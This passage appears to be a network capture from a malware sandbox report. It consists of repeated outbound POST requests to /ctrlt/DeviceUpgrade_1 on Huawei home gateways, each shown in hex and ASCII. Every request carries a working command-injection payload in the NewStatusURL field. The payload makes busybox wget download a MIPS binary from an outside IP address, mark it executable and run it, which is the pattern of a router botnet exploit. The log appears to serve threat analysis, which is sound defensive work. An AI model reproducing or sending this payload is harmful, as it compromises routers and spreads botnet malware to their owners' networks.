s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.935990095 CET	1037	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.618814945 CET	1259	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:43.720755100 CET	1674	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:17:14.176578999 CET	2509	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	60280	156.254.111.62	37215

Timestamp	kBytes transferred	Direction	Data
Nov 19, 2023 09:16:13.544725895 CET	840	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:15.144803047 CET	867	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:17.032483101 CET	948	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:20.935990095 CET	1037	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 19, 2023 09:16:28.618814945 CET	1259	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 32 32 2e 39 36 2e 32 36 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.222.96.26 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
